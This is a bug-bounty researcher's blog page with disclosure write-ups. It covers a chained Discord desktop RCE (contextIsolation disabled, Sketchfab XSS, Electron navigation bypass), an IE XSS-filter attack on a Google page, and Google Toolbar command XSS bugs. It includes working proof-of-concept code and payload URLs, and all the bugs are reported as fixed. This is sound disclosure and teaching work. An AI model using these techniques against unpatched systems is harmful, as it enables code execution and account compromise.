Showing posts with label VRP. Show all posts
Showing posts with label VRP. Show all posts

Saturday, October 17, 2020

Discord Desktop app RCE

A few months ago, I discovered a remote code execution issue in the Discord desktop application and I reported it via their Bug Bounty Program.

The RCE I found was an interesting one because it is achieved by combining multiple bugs. In this article, I'd like to share the details.

Why I chose Discord for the target

I kind of felt like finding for vulnerabilities of the Electron app, so I was looking for a bug bounty program which pays the bounty for an Electron app and I found Discord. Also, I am a Discord user and simply wanted to check if the app I'm using is secure, so I decided to investigate.

Bugs I found

Basically I found the following three bugs and achieved RCE by combining them.

  1. Missing contextIsolation
  2. XSS in iframe embeds
  3. Navigation restriction bypass (CVE-2020-15174)

I'll explain these bugs one by one.

Missing contextIsolation

When I test Electron app, first I always check the options of the BrowserWindow API, which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.

The Discord's Electron app is not an open source project but the Electron's JavaScript code is saved locally with the asar format and I was able to read it just by extracting it.

In the main window, the following options are used: 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

The important options which we should check here are especially nodeIntegration and contextIsolation. From the above code, I found that the nodeIntegration option is set to false and the contextIsolation option is set to false (the default of the used version) in the Discord's main window.

If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the require(). For example, the way to execute the calc application on Windows is:

<script>
  require('child_process').exec('calc');
</script>

In this time, the nodeIntegration was set to false, so I couldn't use Node.js features by calling the require() directly.

However, there is still a possibility of access to Node.js features. The contextIsolation, another important option, was set to false. This option should not be set to false if you want to eliminate the possibility of RCE on your app.

If the contextIsolation is disabled, a web page's JavaScript can affect the execution of the Electron's internal JavaScript code on the renderer, and preload scripts (In the following, these JavaScript will be referred to as the JavaScript code outside web pages). For example, if you override  Array.prototype.join, one of the JavaScript built-in methods, with another function from a web page's JavaScript, the JavaScript code outside web pages also will use the overridden function when the join is called.

This behavior is dangerous because Electron allows the JavaScript code outside web pages to use the Node.js features regardless the nodeIntegration option and by interfering with them from the function overridden in the web page, it could be possible to achieve RCE even if the nodeIntegration is set to false.

By the way, a such trick was previously not known. It was first discovered in a pentest by Cure53, which I also joined in, in 2016. After that, we reported it to Electron team and the contextIsolation was introduced.

Recently, that pentest report was published. If you are interested, you can read it from the following link:

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

You can also read the slides which I used at a CureCon event:


The contextIsolation introduces the separated contexts between the web page and the JavaScript code outside web pages so that the JavaScript execution of each code does not affect each. This is a necessary faeture to eliminate the possibility of RCE, but this time it was disabled in Discord.

Now I found that the contextIsolation is disabled, so I started looking for a place where I could execute arbitrary code by interfering with the JavaScript code outside web pages.

Usually, when I create a PoC for RCE in the Electron's pentests, I first try to achieve RCE by using the Electron's internal JavaScript code on the renderer. This is because the Electron's internal JavaScript code on the renderer can be executed in any Electron app, so basically I can reuse the same code to achieve RCE and it's easy.

In my slides, I introduced that RCE can be achieved by using the code which Electron executes at the navigation timing. It's not only possible from that code but there are such code in some places. (I'd like to publish examples of the PoC in the future.)

However, depending on the version of Electron used, or the BrowserWindow option which is set, because the code has been changed or the affected code can't be reached correctly, sometimes PoC via the Electron's code does not work well. In this time, it did not work, so I decided to change the target to the preload scripts.

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page.

Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

The getGPUDriverVersions function tries to execute the program by using the "execa" library, like the following:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

Usually the execa tries to execute "nvidia-smi.exe", which is specified in the nvidiaSmiPath variable, however, due to the overridden RegExp.prototype.test and Array.prototype.join, the argument is replaced to "calc" in the execa's internal processing.

Specifically, the argument is replaced by changing the following two parts.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

The remaining work is to find a way to execute JavaScript on the application. If I can find it, it leads to actual RCE.

XSS in iframe embeds

As explained above, I found that RCE could happen from arbitrary JavaScript execution, so I was trying to find an XSS vulnerability. The app supports the autolink or Markdown feature, but looked like it is good. So I turned my attention to the iframe embeds feature. The iframe embeds is the feature which automatically displays the video player on the chat when the YouTube URL is posted, for example.

When the URL is posted, Discord tries to get the OGP information of that URL and if there is the OGP information, it displays the page's title, description, thumbnail image, associated video and so on in the chat.

The Discord extracts the video URL from the OGP and only if the video URL is allowed domain and the URL has actually the URL format of the embeds page, the URL is embedded in the iframe.

I couldn't find the documentation about which services can be embedded in the iframe, so I tried to get a hint by checking the CSP's frame-src directive. At that time, the following CSP was used:

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

Obviously, some of them are listed to allow iframe embeds (e.g. YouTube, Twitch, Spotify). I tried to check if the URL can be embeded in the iframe by specifying the domain into the OGP information one by one and tried to find XSS on the embedded domains. After some attempts, I found that the sketchfab.com, which is one of the domains listed in the CSP, can be embedded in the iframe and found XSS on the embeds page. I didn't know about Sketchfab at that time, but it seems that it is a platform in which users can publish, buy and sell 3D models. There was a simple DOM-based XSS in the footnote of the 3D model.

The following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab was embedded into the iframe on the chat, and after a few clicks on the iframe, arbitrary JavaScript was executed.

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

Okay, finally I found an XSS, but the JavaScript is still executed on the iframe. Since Electron doesn't load the "JavaScript code outside web pages" into the iframe, so even if I override the JavaScript built-in methods on the iframe, I can't interfere with the Node.js' critical parts. To achieve RCE, we need to get out of the iframe and execute JavaScript in a top-level browsing context. This requires opening a new window from the iframe or navigating the top window to another URL from the iframe.

I checked the related code and I found the code to restrict navigations by using "new-window" and "will-navigate" event in the code of the main process:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

I thought this code can correctly prevent users from opening the new window or navigating the top window. However, I noticed the unexpected behavior.

Navigation restriction bypass (CVE-2020-15174)

I thought the code is okay but I tried to check that the top navigation from the iframe is blocked anyway. Then, surprisingly, the navigation was not blocked for some reason. I expected that the attempt is catched by the "will-navigate" event before the navigation happens and refused by the preventDefault(), but is not.

To test this behavior, I created a small Electron app. And I found that the "will-navigate" event is not emitted from the top navigation started from an iframe for some reason. To be exact, if the top's origin and iframe's origin is in the same-origin, the event is emitted but if it is in the different origin, the event is not emitted. I didn't think that there is a a legitimate reason for this behavior, so I thought this is an Electron's bug and decided to report to Electron team later.

With the help of this bug, I was able to bypass the navigation restriction. The last thing I should do is just a navigation to the page which contains the RCE code by using the iframe's XSS, like top.location="//l0.cm/discord_calc.html".

In this way, by combining with three bugs, I was able to achieve RCE as shown in the video below.


In the end

These issues were reported through Discord's Bug Bounty Program. First, Discord team disabled the Sketchfab embeds, and a workaround was taken to prevent navigation from the iframe by adding the sandbox attribute to the iframe. After a while, the contextIsolation was enabled. Now even if I could execute arbitrary JavaScript on the app, RCE does not occur via the overridden JavaScript built-in methods. I received $5,000 as a reward for this discovery.

The XSS on Sketchfab was reported through Sketchfab's Bug Bounty Program and fixed by Sketchfab developers quickly. I received $300 as a reward for this discovery.

The bug in the "will-navigate" event was reported as a bug of Electron to Electron's security team, and it was fixed as the following vulnerability (CVE-2020-15174).

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

That's it. Personally, I like that the external page's bug or Electron's bug, which is unrelated to the app itself's implementation, led to RCE :)

I hope this article helps you keep your Electron apps secure.

Thanks for reading!

Friday, July 15, 2016

Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.

As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the . with the # even if the page does not have an XSS bug.




To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.

I put the approximate copy:

http://vulnerabledoma.in/xxn/xss_javadoc.html

This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.
Can you find where it is?

The answer is the . of the yellow part:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
In the <script>, it checks whether the given string via location.search is safe.
For example, the following unsafe URL is blocked:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

Then, what will happen when the . of the yellow part is replaced with the ^?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^:



You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

Also I put the replaced page for you who already applied the patch. You can confirm same behavior:

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

A crucial difference from # and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.




After June 2016 patch, when the XSS filter replaces the ., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)

Thanks!

Friday, January 29, 2016

XSS using Google Toolbar's command

In this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.
Those bugs are a little unusual. It works only IE which Google Toolbar is installed.
IE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.

For example, you can find the command from: http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
You can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at command() function.
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
Usually, we will jump to "http://toolbar.google.com/command?..." by this code. But on IE which Google Toolbar is installed, the navigation to "http://toolbar.google.com/command" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page, fixmenu=1 is associated with the reset settings.

document.googleToken is used for CSRF token. document.googleToken is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.

OK, that's about it.

Examine Toolbar's command

First, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed navigateto command. As its name suggests, navigateto command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.
(Note: It seems this command was removed on latest Google Toolbar )
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
Also I tested javascript: URL.
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"

Then I got an alert dialog! But It's too early to rejoice because we can't know document.googleToken from external page. In other words, if an attacker can get document.googleToken, it becomes XSS hole directly.

XSS part 1

I went around to resources of toolbar.google.com domain and I found the following page:

http://toolbar.google.com/dc/dcuninstall.html (WebArchive)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
The page has the button which can execute command. If button is clicked, it calls command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html"); function via OnYes() function.

Let's put command details aside, take a look at the path variable. The path variable is set by the following line:
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
It cuts location.href to use as command string. I believe that the coder expects following bold string:


https://toolbar.google.com/dc/dcuninstall.html

But this code is not good. If the URL has / in the query or hash, it will cut unexpected URL string.

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

So, what will happen if we put the following string?

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

This URL is assigned into the path variable and it is used for the part of the command string, like this:

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html

There are two navigateto in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to javascript:alert(1)//dcuninstalled.html!!

In this way, I have achieved XSS without knowing document.googleToken.

XSS part 2

After that, I found another interesting page:

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
Let's take a look at this code. 
First, Load() function is called:
<body onload="Load()"> 
Load() function sets document.URL string to url variable:
var url = window.document.URL.toString();
The query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find custom_button_uri parameter. If it can find the parameter, it assigns the parameter value to the document.custom_button_uid variable.
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

The document.custom_button_uid variable is passed to command() function:
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
This means that user input is passed into command via the custom_button_uri query parameter.
Let's take a look at the assignment part again:
document.custom_button_uid = unescape(param_pieces[1]);

Fortunately, the custom_button_uri value passes through unescape() method! This means that we can put urlencoded & and =, like this:

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

Finally, the command string is:

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

Done!


Rewards

I reported the bugs via Google VRP and I received the reward of $3133.7 × 2.
It is not easy to find and understand non-documented commands, but it was a fun time.

And finally, I would like to introduce the holiday gift that I received from Google last year.
(You can find past gifts from: ChromebookNexus 10Nexus 5Moto 360  )
It is the USB Armory, Bug Bountopoly and post card!





Stephen of Google Security Team gave me the Japanese message and bug hunter's llustration. It's so lovely!
I will continue the bug reports again this year. Thank you so much!

Wednesday, July 1, 2015

My Presentation at CODE BLUE: Bug-hunter's Joy

Today, I'd like to share my presentation in CODE BLUE. CODE BLUE is an international information security conference which was held in December 2014 at Tokyo.

I spoke about my life as a bug hunter. You can see my experiences in Google VRP, my income in 2013, technical details of interesting XSS bugs and so on. I hope you will enjoy it.



You can find other great presentations here: http://codeblue.jp/2015/en/archive/2014/

CODE BLUE will be held again this year. More details are available here. Please come to Tokyo :)
Thanks!